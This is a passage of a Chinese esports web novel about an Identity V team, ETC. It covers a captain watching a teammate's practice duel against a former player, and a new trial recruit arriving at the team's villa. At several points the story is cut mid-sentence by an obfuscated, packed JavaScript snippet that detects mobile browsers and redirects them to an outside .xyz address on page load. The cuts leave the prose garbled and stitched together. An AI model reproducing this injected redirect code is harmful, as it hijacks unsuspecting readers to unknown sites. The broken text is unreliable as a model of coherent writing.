【ETC还找副屠？四杀冠军队要什么自行车。】 【小馋猫，喜不喜欢吃末鱼爸爸的大水汽？】 【主播别碰瓷，几个冠军啊蹭人家等等。】 【鱼哥开把单练看看实力。】 刷着刷着，给不怎么逛战队超话的余简生看笑了，这KS的氛围抽象得有点夸张吧？ 不过转念一想，玩D5的精神状态确实都挺堪忧的。 上梁不正下梁歪，KS队长都这吊样，还指望他带出来几个正经的。 他们在这演得跟真的似的，余简生都懒得搭理，他给KS五人都点了赞，正在想程肖拿他号去干了什么PY勾当，微博又刷出几条消息。 【粉丝+5：KS.Hairball，KS.False，KS.Gossip，KS.Rainbow，KS.Chess】 余简生：“……” 夺冠了就是好，休了假天天刷微博不带停的，看给人无聊得，闲出屁来了。 他无声地扯了下嘴角，手指轻动，KS五个人的主页都变成了互相关注。 草草填了下肚子，一罐红牛入喉，余简生取喷雾剂的空档，手机又震动了一下。 还是微博的消息，他吃完药就打算去训练了，本来不想理，余光却不留意瞟到了屏幕上发消息的ID。 KS.False，关注13，粉丝98.7w，官方认证：KS电子竞技俱乐部第五人格分部职业选手。 一张精致白净，笑起来清俊如春雪的脸浮现在余简生脑海。 他的脑筋迟钝地转了转，想起来这一幕是在昨天总决赛的选手介绍看过。 当时江柏戴着比赛用耳机，正冲摄像机挥手打招呼。 【KS.False:末鱼老师,昨晚上是狼哥在打吗?】 余简生反应了两秒,才意识到他说的是游言。 大伙叫狗哥叫习惯了，虽说游言最开始强烈抗议，说是狼不是狗，是凶狠的狼不是废物的狗。 但越强调粉丝越起劲，还把那句话翻来覆去传唱，以至于风靡一时，成为了赫赫有名的梗。 后来连官方解说和主持人都这么叫，再加上游言早就因为那句名人名言钉在了中二病的耻辱柱上，自己都不堪回首地再也不提了。 老说这个虚伪是新人，一上来不仅叫自己老师，喊的还是狼哥，显然做足了功课。 余简生第一反应：这孩子倒是蛮乖的。 可惜很快就要被KS同化成弱智了。 基于这个不知从哪儿冒出来的认知，余简生回复的语气都怜悯了下来。 【ETC.Finsh：不知道，等会我帮你问问。】 【KS.False：嗯，老师注意身体，我临床的，有哪里不好可以直接咨询我。】 江柏把这句发出，身边传来咔的轻轻一声。 流言真名沈哲，和余简生关系向来不错，游戏内外都互有好友位，前年余简生过生，他还买了副一万的耳机过去，不过当去年沈哲收到了价值两万多的名牌球鞋之后，他就再也不敢给这条死心眼的鱼送东西了。 人ETC本来就穷，存点工资不容易。 趁着毛球他们开电脑的空档，沈哲去楼上拿了几罐牛奶，下来放了一罐在江柏身边的玻璃小桌上，从背后揽过人下巴抵肩，一起看上了手机。 【ETC.Finsh：临床分数线不低，伪酱可以呀，本科？】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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时艺一马当先：“启动！” 沈哲紧跟其后，一溜烟上了楼，进门前没忘了队友，凭栏下望说：“伪酱，老头环你来吗？” 此言一出，原本只扒了一个人的木栏边唰唰唰多了三个脑袋。 其中一个还染着显眼的金毛。 “来，等我。” 江柏发了句消息出去，搁下手机起身。 单嘉一动不动地目视他上楼来，想起伪酱动不动就发烧的怪病，警惕了一下，拿自己的冰冻牛奶贴了贴他的脸。 被江柏不大乐意地抬手，轻轻拨去了。 江柏：“干嘛。” 单嘉：“你中暑了？” 江柏：“没。” 单嘉：“那怎么脸红红的，很热？” KS俱乐部几个月前刚换了个大老板，通知他们暂住这个花园别墅，等转会期再安排大家搬到海边去团建。 他抬头看了眼呜呜响的中央空调，自从入暑后这玩意就没停过，烂命一条插上电就是干，冷气最大风速保持着输出，功率猛得像在吹数九寒风。 “他热不热我不知道，”时艺说，“我看你倒是挺冷的。” 四人随着时艺的目光一起往下，看见了单嘉加绒的睡衣睡裤。 5. 娘家人 训练室里，程肖开着自己的号在手搓自定义，他手腕上戴着心率测量表，显示屏座位分别坐落，大厅内光洁明亮，台座都是仿着赛制一比一复刻的。 屏上显示的鲜红数字爬到了108，并且有超过110大关的趋势。 余简生推开门，揉揉酸软的后颈想说句抱歉，净让队友等自己，结果门后除了程肖之外，其余人一个都没有。 发现他在干什么的瞬间，迷蒙的眼神突然犀利了起来。 “单练？” 他本能觉得对面是游言，拖张椅子坐了下来，自动进入了评分模式：“开显示屏，我看看。” 程肖一愣，慢吞吞地转过头来：“鱼…不是，队长，你啥时候醒的？” 程肖一个牵制位常被人骂溜鬼短板，发挥时鬼时神的，在这次夏季赛中更是贡献了杂技溜蜡像师二十秒倒地的冥场面导致生死局天崩，游言第一局的三杀根本不够看。 第二局必四局没救回来，比分差距太大，对面人队流氓打法，想跑一个太简单了，直接被THS战队零封抬走。 当时多少人压ETC夺冠热门，深渊冠军在常规赛一轮游，真够可笑的。 程肖自己也知道问题，余简生经常凌晨三四点下训看他还在偷偷播，点进去就是在用白板角色和榜上屠皇单练。 练了确实有效果，能和游言博弈得有来有回，可一上比赛就是意外频发。 经典训练赛无敌。 毕竟是新人，余简生猜他可能是被人观战就会紧张，所以才需要反复脱敏治疗。 他精力不够，懒得和人废话，只想进入正题，盘起一条腿抱臂扬扬下巴，重复道：“开显示屏。” 程肖觉得自己不至于下饭，可余简生要求很严，达到了吹毛求疵的程度，一点失误不能有，不然就被批评。 他一脸冷漠地坐下来说要开显示屏，不亚于写作业时老师站在旁边看，幸好队友教练不在，不然和公开处刑没什么两样。 程肖看着余简生：“……真的要开？” 余简生一个眼神过去，程肖二话没说就投屏了。 地图选在红教堂，程肖画家双弹飞轮，对面是封窗歌剧加闪现，小门废墟起追，一直溜到了墓地三板，时间也来到一分多钟，程肖半血还没倒地。 余简生越看脸色越黑，要不是刚醒嗓子还疼，他得连游言那个菜逼一起骂了。 闪现带封窗歌剧演员一分半追不死一个画家，画还让他全放完了，这玩的什么几把？ 试多了训完美融入段位了是吧？ 眼见自家队长捏着鼻梁，生无可恋地深深吸了口氧，程肖抿着嘴眨眼，手上的操作都透着一丝心惊胆战的颤抖。 “鱼哥，你别这样，你骂我得了。” “我弱智骂你？”余简生说，“这不溜挺好，三台一闪功德圆满。” 他不想浪费时间，单刀直入冲程肖扬了扬下巴：“那条狗躲在哪儿玩屎？” 程肖：“……啊？” 他没听懂，有点懵了，画面中的人物也卡了下模型，活生生在原地太空步了一两秒。 余简生还没开口，就见大屏幕上红光突脸，闪现清嗡紧随而至，歌剧抓住这个交不了飞轮的时机，一刀打死了画家。 伴随两道洪钟开阶声落地，对面同时传来一道清澈好听的男音，听音色年纪不大，离麦挺近的，笑着道：“别急啊，不会真有人单练还交闪吧。” 局内是1屠vs4人，胜负牵扯到运营控场等方方面面，局势瞬息万变，不到最后一刻，输赢谁都说不准。 但一人一屠单练可不一样，比的是个人的牵制能力和追击能力，毕竟场上没其他队友配合，也不需要考虑修机速度和开门战之类，单纯的相互提升技术，被逼得交闪可以算是奇耻大辱了。 余简生皱眉，他十分耳熟这声，一时半会想不起来是谁，但总归不是游言。 还好国粹没脱口而出，差点骂错人了。 很快又有一个截然不同的低沉声音跟上，有些急促，似乎刚运动过回来，火急火燎凑近了麦：“在单练，和谁啊，开屏幕哥几个看一眼？” “都是队友，包不笑你的。” “对啊，正好安华要下来了，让他给你指点一下。” 这名字一出来，余简生才意识到对面不止不是游言那么简单。 安华是IL战队的首发人类选手，刚在赛后采访荣获著名屠皇虚伪的最爱人皇榜一。 他玩羸弱修机位出了名的厉害，榜上屠皇几乎都被捶过，白板溜鬼顶得上别人牵制位的水平，全联赛最有基本功的选手，全庄园最能溜的男人。 余简生看了一眼不自在的程肖。 所以对面是IL的屠夫？ 程肖单练没关麦，接下来的对话解答了他的疑惑。 嘈杂的欢笑声里，一个沙哑的带点虚弱的熟悉笑音响了起来：“神经，还嫌他前天晚上辣锅吃太少不够红温是吧，等会下来就是一顿真人快打。” “怕什么，谁叫他吃不了辣还吃，又菜又爱玩，还真人快打，什么时候出了厕所再说。” 交闪击倒属于是抢节奏的肌肉记忆了，琅琅小啧一声没浪费时间，打倒人还没擦完刀就左上右下投降，快速退出对局准备下一把了。 一边和队友聊天一边等程肖选角，但直到时间告罄，对面仍旧是初始角色。 琅琅在语音里问了一句：“贺颜，还打不？” 语音里传来一阵窸窣的动静，回答他的是一个比较清冷的音线，一如印象中的言简意赅。 “琅琅？我是末鱼。” 一听这个名字，琅琅愣了一下，定了定神，尽可能让自己声音听起来不那么奇怪：“鱼哥。” 程肖交握着手心不在焉，余简生拿着手机，看见刚才一直没超过120的心率指数级飙升，攀到了124。 见对面沉默了，琅琅想了想，只挤出来一句找补的解释：“是我邀他来打的。” 他沉吟须臾，接着笑道：“毕竟我以前也算ETC替补屠，就当帮个忙，让咱贺少挨点骂。” 单练这事蛮常见的，一个人队的配合固然重要，但需要个人顶住压力时更得不出短板，不然就被对面屠夫逮着ID追，把把抓死这人就能稳定胜局。 因此，经常会有人类选手和屠夫选手之间约单练，以求提升个人水平。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923437|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过话说回来，好些屠榜上的绝活屠夫想约都没路数，就算肯花钱也要看人家给不给这个面子，非要约就只能找人脉，看好友能不能说得动他，只要两人关系好，天天练都没人管。 只是余简生以为是IL的主屠白溪石，没想到是替补琅琅，负面情绪有点控制不住地上脸了。 他轻飘飘瞥了下眸，呼出一口气，病嗓子漏风似的哑声说：“最近还好吧？” 琅琅：“好，怎么不好，现在咱也是能被第一人队带飞的人了，场均留一还有工资，待遇没话说。” 余简生笑了。 “狗屁，人家不要你就退役了，就这么报答帮你争取试训的安华？” 琅琅：“哪能呢，我天天把安哥供着，他们好不容易争个四跑，别回头让我一个四跑保平了。” IL的人队选手梓兴本不想打扰老队员叙旧，听到这眉头微点，嘀咕：“哪有你说的那么……” 话没说完，洗了脸的安华甩甩头出来，他下巴上挂着水珠，一听琅琅在单练，猛撩一把头发就跳了下来，搂住人凑近一看，笑着说：“好小子，什么叫人脉啊，榜前人皇？介绍一下呗。” 程肖确实是人榜前三十，但这话从安华这个联赛公认的第一求生嘴里说出来，莫名就有了别样的韵味。 虽说他连对面是谁都不知道，肯定不是在刻意捧杀，但余简生仍是帮程肖顶了回去，咳嗽两声，说：“用不着介绍了安华，我就是来看琅琅过得好不好，顺便带你一句话，这赛季输你们的，深渊赛赢回来。” 这标志性的咳声很快让安华锁定了一个病歪歪的肺痨鬼，他眯起狭长的双眼呵声一笑，眉梢间飞出惊叹的嘲意。 “我说谁，原来是末鱼，嫁出去的人泼出去的水，琅琅已经是咱们战队的人了，用不着你瞎操心。” 余简生：“我操.我的心，吃你家米了？” 琅琅冲以为被挖墙角的队长勾勾手指，凑到安华耳边无奈提醒：“鱼哥骂我对不起你的一溜三台。” 安华听了，用一副“他能说出这种好话”的诧异脸挑起了眉，到嘴边的风凉话又咽了回去，抬起食指轻佻地逗了下麦。 “有那闲功夫，还是先关心关心你自己吧，到时胜负已分，我可不想被ETC粉丝说什么胜之不武。” 余简生同样不客气地呵了一声，“是胜之不武还是摧枯拉朽，咱们走着瞧。” “哎，没能让鱼哥使出全力真是抱歉——” 安华的剑还没贩完，咔的一声，语音挂断了。 他淡然直起身，顶着队友们灼热的八卦目光，摊手耸耸肩表示无辜。 程肖张了张口，想问琅琅退队是怎么回事，没说出口，又想问安华和他有什么纠葛。 依旧没说出口。 “比赛暂停，” 余简生觉出氛围低落，俯身把他手上的心率表摘下来，少见地冲他一笑，“救救咱家贺少。” 程肖闻言，眼睛微亮，下意识转头，看见屏幕上的数字已经升到了136。 颜色黯下去，然后消失了。 余简生又有点咳得停不下来，掩着鼻顺口应了声，含糊问他：“狗子和北秋哪去了？” 6. 替身也是替 言时下飞机时，满杭城绚烂夺目的灯光在夜色中连成彩海，夜风夹凉拂过脸庞，替不解风情的酷暑迎接着远道而来的客人。 大夏天，他穿着一件洗得泛灰的墨色外套，布裤旧旧的，个子不高的同时，漆黑的口罩覆着脸，把除双眼以外的部分遮得严严实实。 这一身上下浑然一体，走在夜里几乎成了伪装，过于典型的灯下黑让林屿晃了眼，以至于没能第一时间从人流中找到他。 所幸同行的还有QR俱乐部的七七，他一身淡蓝色常服，及肩的头发被棒球帽压在脑后，站在言时身边挥手时，比小朋友显眼地高出一头。 非出租开不进来，林屿把俱乐部的车停在了远一点的外栏路边。 出了机场，远远的，看见一个男生在椰树下，长腿交叠，斜倚着树干。 他手指间有个临时改造的灯光牌，彩灯线歪歪扭扭画出“☆倾诺☆”二字，胳膊夹着把土得要死的橘红色喇叭，正叼着个不知道啥玩意低头，懒散地玩手机。 屏幕的光在昏暗中打亮了他的脸，照得男生细密的乌睫染上淡蓝色的微光。 言时一眼望去，遥遥只能看到一张侧脸—— 这男生没穿战队服，而是随便套了件简单的青黑色外衣，帆布鞋偏藏蓝色，除去一只耳上挂了个洁白的蓝牙耳机外，整个人的肤色与衣服黑白分明，打扮分明简洁得过分，却莫名给人一种干净的印象，像颗亮晶晶的精巧黑曜石。 他蹲在别人家借网看比赛时常见这人，此刻真人在前，近得有点不太真实，拎着行李箱的手不由自主收紧了些。 “狗哥，航班晚点了，”七七隔着点距离抬手，笑道，“等多久了？” 听到这个称呼，跟在七七身后的言时抬起了眼，恰好看见游言循声转过头来，双眼微眯。 他有点近视，目光先在七七脸上停了一会儿，墨眸转动，这才注意到他身后的口罩少年。 眼神朝七七偏了点，询问着：是他？ 七七颔首，示意言时打个招呼，言时斟酌了一下语言，刚要开口，却见游言摆了个别说话的手势，取下喇叭，意味深长地拿到跟前。 林屿从容不迫地戴上双耳耳机，开门上车一气呵成。 两个人莫名其妙地看他抬手猛咳两声，捏着灯光牌深吸一口气，咔的一声，打开了喇叭开关。 一段好似来自上世纪八十年代的音乐怒放了生命。 游言鼓气一吹，口中的哨子和喇叭里他富有节律的喝彩同时炸裂耳膜。 “七七公主七七公主笑一个，倾诺王子倾诺王子欢迎你，皇帝陛下皇帝陛下驾到来，闲杂人等闲杂人等都闪开。” 七七：“……” 言时：“……” 隔着喇叭都能想象出早期人类驯服四肢的珍贵影像。 游言一本正经地发完癫，偏头吐出哨子。 两人抬手来了个久违的拥抱，互相重重搂了把后，七七才一巴掌抽上他侧颈，一脸吃了屎的表情笑道：“你有病啊。” “你爹有病今天才知道吗？” 游言乐悠悠地转眸，扫一眼抿着嘴垂眼的言时，把专门为他做的灯光牌递过去，“这个给你。” 言时伸手接下，低低说了声“谢谢”，游言还没来得及撩头发耍帅，又听一声嫌弃的嘀咕扎耳传来。 “丢脸。” 游言：“……” 有种就别要，连吃带拿。 现在的小孩哥都这么没素质么？ “别以为年纪小我就不敢揍你。” 游言瞪了他一眼，气势汹汹地抬手，一把将行李接了过来。 “就是，”七七说，“都神经病了，你让让他怎么了。” 言时哦一声，目光从未离开过灯光牌，翻过来说：“我又不嫌弃他比我笨。” 游言：“……教练，咱不要这个人会死是吧？” “本来就是试训，又没正式通过，急个鸡毛。” 车没发火也没开灯，林屿群回了五个青训生的微信，拿了烟下来，一把搓开他的脑袋，点火抽了口，这才慢悠悠地转过眼来。 “人家七七大老远给咱们送来，你还不乐意了。” 游言翻白眼切了一声，直起身放行李去了。 “别管他，脑残一个。” 林屿笑了声，依在车边冲言时扬扬下巴：“你发的录像我都看了，玩得不错，接下来什么打算？” 言时不想拐弯抹角的，开门见山问他，说：“你们能开多少工资给我，比青训高还是低？” 林屿挑起眉梢。 不声不响的还以为是个绵羊，没想到一开口狂得要命。 这个话题不太好接，他巧妙地避开重点。 “不好说，考虑打职业的话，咱们这边试训期是一周，吃穿住花销都包，介于你是未成年人，假如通过了，还需你父母的责任担保书才能签约。” 言时听出来话里打的马虎眼，对方不大想正面回应，看似讲了一大堆，工资的问题仍是没有着落。 他嗯一声，心底却泛起冷冽——自己已经踩了那么多坑，多这一个又怎样，还能灰飞烟灭了不成。 “没事，反正他们跟死了没差。” 林屿闻言，和游言对视一眼，都在对方眼里看到了少许诧异。 游言的目光斜向七七，对方只是小幅度摇头，让他什么都别问。 七七曾是ETC的冠军成员，虽说转会期被老板明码标价卖去QR少有联络了，但林屿毕竟带过他一两年，按下不表明显是有隐情，这点眼力见他还是有的。 为了以防万一，与其遮遮掩掩的搞得大家都不痛快，不如干脆直截了当地打开天窗说亮话。 “联赛官方明文规定知道不，十八岁以下的选手禁止参赛。” 林屿道，“AH战队的前主屠怀南就因宝宝锁未开上不了场，直接导致AH临时换屠成绩惨淡，无缘了线下赛，我不希望ETC也出现这种情况。” 他对言时的家庭情况没有苛求，不会因为这就顾虑什么，也不会因为这就可怜什么，林屿是教练，只单纯从打比赛的利弊来分析。 ETC如果收人，就得养在俱乐部等他成年，一个耗费了大量资源去训练的选手，最终却由于各种原因可能离开战队从而引发危机，那么是否应当在最开始就避免立于危墙之下，这是个很值得思考的问题。 “我知道，来的路上七七都跟我说了，我这边再过半个月就满十八，家里也没什么亲人反对。” 言时望着林屿，“开到比青训高，我就考虑你们。” 林屿一愣，捏着烟偏头，呵的一声，被这孩子气的话整笑了。 他算看出来了，只要一提到钱，言时就跟打了鸡血似的，多半是急着要用才来“不务正业”，和狗崽刚来ETC时一模一样。 “张口闭口都是钱，”林屿冲游言抛了个笑眼，“像不像年轻时候的你？” 游言没个好气：“爬，说得好像我现在多老一样。” 不仅林屿失笑，七七双手叉腰，也有些无奈。 言时瞄一眼脸现忧色的七七，又看一眼依在车边，抱臂幽幽望来的游言，硬邦邦地说：“干嘛？” 被灯火渲染成深红色的天光下，林屿抬手取下烟，眯起双眼，呼出了最后一口白雾。 “你可能搞错了什么，不是你考不考虑我们，”他随手掐灭烟头，瞥眸道，“是我们考不考虑你。” 成年前在ETC安顿下来，拥有顶尖指挥位和T0追击屠的训练资源，跟着联赛人队磨练操作，就算实力不济打不了职业，意识也能碾压大部分主播代打，出去稍微混混，接到上万大单还不是简简单单。 七七葫芦里卖的什么药，林屿心中一清二楚。 言时看出林屿眼里的明了，抓着灯光牌的五指逐渐收紧，死死攥了起来。 “可能你在排位里大杀四方，溜屠跟溜狗一样，各项数据藐视同期青训不说，连退役选手也夸你资质非凡，这些事让你觉得自己很有天赋，生来就是吃这碗饭的，年轻人血气方刚很正常，但怎么说呢，小伙子，IVL是职业赛场，” 林屿看着他，说：“天才是这里的入场券。” 游言和七七原本都注视着言时，听到这话时，松散的眼中双双一凝。 话说得很难听，但电竞就是这么残酷。 众多倾尽心血的人都很难打出成绩，如果单抱着“为了钱”这样半吊子想法的人去打都能成，那岂不是世上随便什么人都能成了？ 林屿执教多年，换了八九个俱乐部，见过的人中龙凤数不胜数，个个心高气傲自觉是紫微星下凡，结果上赛场不出一个星期，无一不被顶尖选手打得满头是包。 既然言时的录像能入得了他的眼，那证明此人确实有点东西，但要想达到职业的水准，就这点微末道行，拿来给联赛屠皇打牙祭都不够。 “我说这个不是想打击你，只是想提醒一下，下面一周多把精力放在训练上，真能通过试训，薪水什么的不是问题。” 林屿看气氛有些沉重，笑了笑打圆场，继续道，“毕竟咱ETC的老板是想招夺冠选手，又不是在撒钱做慈善。” 言时沉吟须臾，定定地点了头，再抬起眼时，看林屿的眼神里多了几分专注。 “再说了，青训一个月500，比他高就行？你就这点出息啊？” 林屿一把揉了言时的头，“妈的，真有本事，拿个冠军来看看啊。” 言时又点了点头，按照林屿问的说了些基本信息，上车了。 看他那个抿着嘴暗暗下定决心的熊样，七七就知他听进去了。 “林教还是够义气的。”七七感慨道。 看破不说破，这么快把思路拉回正轨不说，几句话就和新人打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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七七：“呵呵，不练便宜了你捡软柿子捏，无事你爹有事七七，直播还说我溜鬼丢你的人，别以为我不知道。” “谁说的，我说过这话吗？谁特么造我谣，”游言道，“你等着，回去我就把他们嘴都撕烂。” “脑残，”七七笑道，“我航班进港了，先走了。” 游言冲他挥手，七七点点头，转头对言时道：“走了啊。” 言时贴着窗不知该说什么好，只能拼命招手，一个劲地说：“七七哥，谢谢你给我这个机会，真的谢谢。” 七七也一个劲地点头表示他听到了，一步三回头地走进机场，不一会儿就消失在了夜色里。 “行了，我们也走吧。”游言说。 他点火倒车，言时坐在后排，看着窗外的椰树一棵棵缓慢向前移动，随后一个转弯，逐渐加快地消失在了车窗后方。 车灯贯穿马路前望不到尽头的黑暗，指向远处彩灯通明的杭城市区。 游言开着车，不时要看一眼后视镜，他见言时一直望着外面，手里抓着灯光牌，问了一句，说：“空调冷？” 言时摇了摇头。 游言又说：“那玩意我临时改的，铜线老多，别刮伤了。” 听到这句，言时终于舍得把目光从窗外挪回来，低头看了眼，说：“看出来了。” 他刚才翻过来时，手指已经顺着原本凹陷的路线描出了个大致的走向，上面写的是“ETC.Qiqi”。 “是七七哥的。” 游言顿了顿，接着道：“我以为你会喜欢。” 言时确实很感激七七，不知怎么的，名为自尊的野心作祟，让他张了张口，突然在制冷的风声里问了句：“没有他，你们不可能亲自来接我，是不是？” 他之前从别的战队替补那听说过，青训营说得好听是在培养新生血液，实际很少有教练会来这看人，现在大多数选手都是未成年起就一直养在俱乐部接受赛训。 那个替补也是进去了才知道，刚进战队别说首发队员了，连教练都整日整夜的看不到，大多数时候都是跟一群不知从哪选的人不停训练，然后把数据交上去完事。 他既然能问出来，说明知道的不少，游言也不想自欺欺人，索性大大方方承认了。 “对。” 言时：“所以我就是来顶替七七哥的位置的，对吗？” “你如果要这么想，”游言说，“那确实没差。” 联赛顶级救人位，给人队稳稳的幸福，他也是七七离开后才知道人家的好，当然，七七对他和余简生的意义肯定远不止于此。 平心而论，如果要游言把言时当成七七对待，一想到曾经坐这个位置的人是谁，他就没办法不摆冷脸。 至少现在不行。 “那你觉得，”言时停顿片刻，问，“我能超越他吗？” “你超越他干什么。” 右路有个不打转向灯就插车的傻逼，游言猛踩刹车蹙了蹙眉，欲言又止——算他走运，已经被同路的人施展了父母剥离之术，不然游言会让这个byd知道知道，什么叫作江湖险恶。 他目光向前，喧闹声里漫不经心地打转方向盘。 “你超越你就行了。” 7. 老一辈的自信 俱乐部地处较远，言时到地时已经凌晨了，车拐过几个弯，驶入了豪华的临水别墅区。 刚下过雨，二楼的落地窗上挂着露水，三两间房全都灯火璀璨，亮闪闪昭示着夜生活的开端。 游言：“好看不？” 言时家庭贫困，自幼没独自住过超十五平米的地方，冷不丁被这么一问，才意识到自己盯着窗外看了一路，不动声色错开脸，从鼻尖溢出气音，轻飘飘“嗯”了一声。 “我也觉得好看，”游言斜瞄他一眼，“别人家的地盘就是气派。” 言时一愣：“别人？” “是啊，这是京城二环一房地产商的，前几年房价低，他花大价钱买下来，打算留来后面升值的。” 游言挑起眉，像是察觉到什么似的，不自觉露出来几分笑，“怎么，你以为咱们住这？” 言时：“…我没以为。” 游言叹气：“会这么想也正常，谁让ETC基地连着房产一起被卖出去了，这么进进出出的，门禁不方便不说，一年还要交上几万的路费，我们也不想，可是老板都走了，哥几个能咋办。” 言时扫了眼外面，说：“那咱们等会进去，还要麻烦别人。” “没办法，看阿姨在不在家吧，你记得礼貌点，别跟我面前一样胡闹。”游言说。 言时脸一黑，嘀咕说：“有几个能像你这么贱。” 还有更贱的呢。 游言在心里冷笑一声，没把这句话说出来。 车停在湖边，游言下车拉开车门，言时拎包跟着出来，两人一路穿过石桥。 走进花园，远远的看见铁门没关，一个身形清瘦的男生站在台阶前，身上穿着灰色短袖，脖上的黑线十字剑吊坠闪出微光。 他眼尾泛红，一副将睡不睡的样子，神态病倦，却不怎么显得没精神，一手拎着罐咖啡，冲两人抬了抬。 余简生：“淋雨了没？” 他长年累月犯哮喘，嗓音一直跟猫抓过似的喑哑，可由于来之前被游言打了针预防针，让言时以为动静太大，把别墅原主吵醒了，摇摇头，说：“没，谢谢…叔叔给我们开门。” 余简生眼皮一抽。 虽说这孩子年纪尚轻，但自己也不老，被这么水灵灵地喊一声叔叔，任谁来都有点懵圈。 “没事，先进来，飞机上没吃好，我让阿姨做顿夜宵。” 言时：“我们还有事，就不打扰了。” 余简生看了眼游言，“啥事，这么晚了，你俩要去哪？” 游言端着下巴，木脸没吭声。 言时看了眼游言，又看向余简生。 “去俱乐部。” 余简生更生纳闷：“你不是倾诺？” 言时：“是。” 余简生：“不是来ETC？” 言时：“…是。” 余简生：“那你还要去哪儿？” 随着游言噗嗤一声，余简生噤住声，和同样明白了的言时一起，慢慢地转头看去。 他顶着两人杀人般的目光，淡定地自顾自点头，掩饰的手还未抬起，彻底难绷喷了出来。 余简生慢慢抬手喝完了咖啡，然后把罐头拿下来，盯着这个b人，面无表情地捏爆了它。 “倾诺，看好了，”他说，“这一刀，会很帅。” 游言一个屠皇步华美避开，铁疙瘩呼啸着迎头擦过耳边，落在地上哐当一声。 他捂上半张委屈的脸从容回眸，眨巴眨巴眼忸怩地哼哼唧唧。 “队长的罐头好大，小狗头受不了了～” 余简生：“妈的，喜欢玩花的，爸爸今天就好好奖励奖励你！” 他抓起枕头追着人狂轰滥炸，游言身手敏捷地翻过沙发，抱起另一个布偶疯狂还击，两人从大厅里打到楼梯间，哐哐的声响和尖叫不绝于耳。 一阵鸡飞狗跳里，言时正常得格格不入。 他感到心里有什么期盼已久的幻想破灭了，像滤镜一样零零散散碎了满地。 言时翻翻白眼，打算在门口独自美丽，却猝不及防脑袋一歪，一个带毛绒的棕色长枕掉在了地上，游言听到动静回头，见到言时被误伤，眼皮一掀，冲他可怜兮兮地抛了个媚眼。 人在极端无语的情况下真的会笑，言时额头青筋不受控制地跳了跳，核善地勾起嘴角。 不知第三个人什么时候加入的战团，大厅经历了一场轰轰烈烈的联合狩猎，总之，等翌日早上林屿打开门时，看见的是这么一幕—— 游言仰头倒在沙发棱上，脖子边搁着余简生的一条长腿，他整个人倒转着半边背部着地，盖了半身的薄毯因重力滑落一半，搭在了游言险些蹬他脸上的小腿上。 由于余简生肺病反复，一切可能产生细长绒毛的东西在ETC已经灭绝了，宠物从来不养，羽绒一类严令禁止，连枕头被褥上扎的都是沉甸甸的粗线穗子。 所以，当枕头上的碎穗散落一地，分散在移位的桌子和小茶几之间时，给人的视觉效果就非常震撼——好像沙发里的垫子被狗拖出来啃了似的。 至于滚在一起的两个脑瘫，从他们乱成鸡窝的头发，和睡着了都在互掐的双手上不难看出，昨夜的战况激烈成了什么样。 “两位至尊战至宇宙边界，大道都磨灭了。” 林屿啧啧称奇，打眼扫过，见一根数据线蜿蜒着穿过一地狼藉，延伸到一个盘腿打游戏的少年手边。 察觉到落在自己发顶的视线，言时抬起眼来，顶着一张稚气未脱，好似全世界都欠他五百万的臭脸，冷漠地抬了抬手。 “早。” 虽说已经日上三竿了，但对于四点睡两点起，阎王夸我好身体的选手来说确实挺早的。 不愧是年轻人，没被大工作狠狠摩擦过的说话就是硬气。 林屿还没开口，吱呀一声，姗姗来迟的年轻男人把门推开了些，看见这满地的残花败柳不禁一愣。 “我滴个乖乖，你们搁这拆迁呢？” 贺颜被陆明悦两巴掌抽醒的时候，窗外洒进来的阳光正在地上照成光格，金灿灿的格外刺眼。 他迷恋着梦里余简生抱着自己大腿高呼天神下凡的美味，朦胧着眼懵懂地傻笑：“队长，都是我应该做的……” 陆明悦本该怀疑是不是自己两个大耳刮子给他扇成了智障，想了想不对，这坨玩意不一直都小脑发育不完全，大脑完全不发育吗？ 他拎着程肖的衣襟提溜起来，毫不留情地抬手又是一下，“叫你睡你是真睡，一点都不客气的，起来，经理到了。” 程肖敷衍嗯着绵了一会儿，突然猛的睁眼，一个激灵惊坐起，看向陆明悦的眼里充满了惶恐：“经理来了？” 林屿原本在和他们商量试训的时间，楼梯上猝然响起急促的脚步声，直奔台阶而来。 几个人齐刷刷回头，程肖还没完全下来，一脸尴尬地弯腰探出个脑袋想打声招呼。 谁知这不看不知道，一看吓一跳，满地的棕穗碎块和七倒八歪的家具一齐映入眼帘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923439|160388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 要不是游言和余简生正坐沙发上回头望来，程肖都要怀疑基地昨夜是不是进贼了。 “我草，拆迁呢这是？” “拆迁都吵不醒某只猪。”陆明悦说。 游言好久没起这么早了，太阳穴像有根筋在一突一突地跳，揉着酸痛的后颈突一蹙眉，闭着眼轻嘶了声：“总不能是落枕了吧。” 余简生呵呵：“你爹那样都没落，你凭什么落，给老子捡回去。” “行了，大伙都到了，”林屿拍拍手静场，伸手说，“介绍一下，新经理杨弘，北边人，刚从老板那飞过来的。” 